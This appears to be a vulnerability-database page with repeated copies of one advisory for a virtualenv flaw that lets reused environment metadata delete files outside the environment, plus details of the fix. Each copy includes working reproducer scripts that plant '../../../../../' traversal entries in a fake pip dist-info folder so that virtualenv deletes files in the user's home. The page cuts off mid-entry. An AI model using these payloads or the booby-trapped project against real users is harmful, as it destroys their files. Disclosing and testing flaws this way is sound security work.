|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "pipenv",
"purl": "pkg:brew/pipenv"
},
"ranges": [
{
"events": [
{
"introduced": "2021.11.9"
},
{
"fixed": "2026.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-pipenv-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T09:13:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-POETRY-CVE-2026-113719 (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "poetry",
"purl": "pkg:brew/poetry"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.11"
},
{
"fixed": "1.2.2_1"
},
{
"introduced": "1.8.0"
},
{
"fixed": "2.5.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-poetry-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T09:10:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-PRE-COMMIT-CVE-2026… (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:58 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "pre-commit",
"purl": "pkg:brew/pre-commit"
},
"ranges": [
{
"events": [
{
"introduced": "2.16.0"
},
{
"fixed": "2.20.0_1"
},
{
"introduced": "3.6.1"
},
{
"fixed": "4.7.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its 